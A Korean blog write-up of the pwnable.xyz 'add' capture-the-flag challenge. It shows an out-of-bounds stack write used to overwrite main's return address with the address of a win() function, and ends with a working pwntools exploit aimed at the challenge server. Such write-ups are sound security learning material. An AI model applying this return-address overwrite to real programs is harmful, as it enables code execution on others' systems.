[pwnable.xyz] add write up
pwnable.xyz 세번째 문제 add 이다.
실행하면 인자 3개를 받고 어떤 값을 출력한다.
필자가 만든 명령어로 elf 파일 안에 사용자 정의 함수 list 를 보면 총 4개가 있는 것을 볼 수 있다.
그 중 main과 win 함수가 눈에 띄인다.
ubuntu:~/environment/ctf/pwnable.xyz/03_add $ func challenge
b handler
b main
b setup
b win
ubuntu:~/environment/ctf/pwnable.xyz/03_add $
(elf 파일에 사용자 정의 함수 출력하기)
Analyze
main 함수 주소를 찾을 필요 없이 pdisas 명령어로 바로 main 함수에 접근 할 수 있다.
자세히 봐야 하는 곳은 아래 부분이다. 아래 어셈블리어를 c코드로 간단히 나타내면 아래와 같다.
while (true){
if (scanf("%d %d %d", &rcx, &rdx, &rax) == 3){
rdx += rcx;
*(rbp+rax*8-0x60) = rdx;
// print result
}
else{
// stack overflow check...
// escape loop
}
}
2번재 줄에서 인자가 3개가 아니면 stack overflow를 check 하고 loop를 탈출한다.
4번째 줄에 어떤 주소의 값을 rdx로 바꾸는 부분이 있다.
2번째 줄 | 인자가 3개가 아니면 stack overflow를 check 하고 loop를 탈출 |
4번째 줄 | 어떤 주소의 값을 rdx로 바꿈 |
아까 위에서 main 함수 말고도 win 함수도 있었다.
gdb로 분석해보면 아래와 같다.
win 함수의 주소는 0x0000000000400822 이다. 이 함수는 system 함수를 실행하는 함수이다.
win() 함수 address | 0x0000000000400822 |
다시 돌아와서 c코드의 4번째 줄에서 어떤 주소의 값을 rdx 값으로 바꿀 수 있다.
이를 이용해 return address의 값을 win 함수의 주소로 바꾸게 된다면, scanf로 입력할때 인자를 2개만 주면, main 함수가 끝나면서 return address의 값이 win 함수의 주소를 가르키고 있으므로 win 함수가 실행이 되게 된다.
return address의 값을 바꾸기 전에 return address를 알아내야 한다.
main 함수의 ret 실행 전까지 가서 stack을 확인해보면,
return address는 0x7fffffffe598 임을 알 수 있다.
우리는 return address가 가리키고 있는 0x7ffff7a05b97 이 값을 win 함수로 바꾸어야 한다.
return address | 0x7fffffffe598 |
c코드를 다시 보면, rdx를 win() 함수의 주소로 넣고
rbp+rax*8-0x60 를 return address 함수로 맞춰주면 된다.
while (true){
if (scanf("%d %d %d", &rcx, &rdx, &rax) == 3){
rdx += rcx;
*(rbp+rax*8-0x60) = rdx;
// print result
}
else{
// stack overflow check...
// escape loop
}
}
아래 어셈블리어가 실행되기 전에 rbp 값을 보면 0x7fffffffe590 이다.
0x7fffffffe590 + rax * 8 - 0x60 = 0x7fffffffe598 (return address)
가 성립하기 위해 rax 값은 13(0xd) 이 되어야 한다.
정리하면 아래와 같다.
rcx | 0 |
rdx | 4196386 (win() 함수의 주소) |
rax | 13 |
Payload
from pwn import *
p = remote("svc.pwnable.xyz", 30002)
p.sendline("0 4196386 13")
p.sendline("a a a")
p.interactive()
'🚩CTF' 카테고리의 다른 글
[pwnable.xyz] xor write up (0) | 2020.01.01 |
---|---|
[pwnable.xyz] misalignment write up (0) | 2020.01.01 |
[pwnable.xyz] sub write up (0) | 2019.12.28 |
[pwnable.xyz] Welcome write up (0) | 2019.12.26 |
[LOB] - zombie_assassin -> succubus 풀이 (0) | 2019.10.06 |
댓글
이 글 공유하기
다른 글
-
[pwnable.xyz] xor write up
[pwnable.xyz] xor write up
2020.01.01 -
[pwnable.xyz] misalignment write up
[pwnable.xyz] misalignment write up
2020.01.01 -
[pwnable.xyz] sub write up
[pwnable.xyz] sub write up
2019.12.28 -
[pwnable.xyz] Welcome write up
[pwnable.xyz] Welcome write up
2019.12.26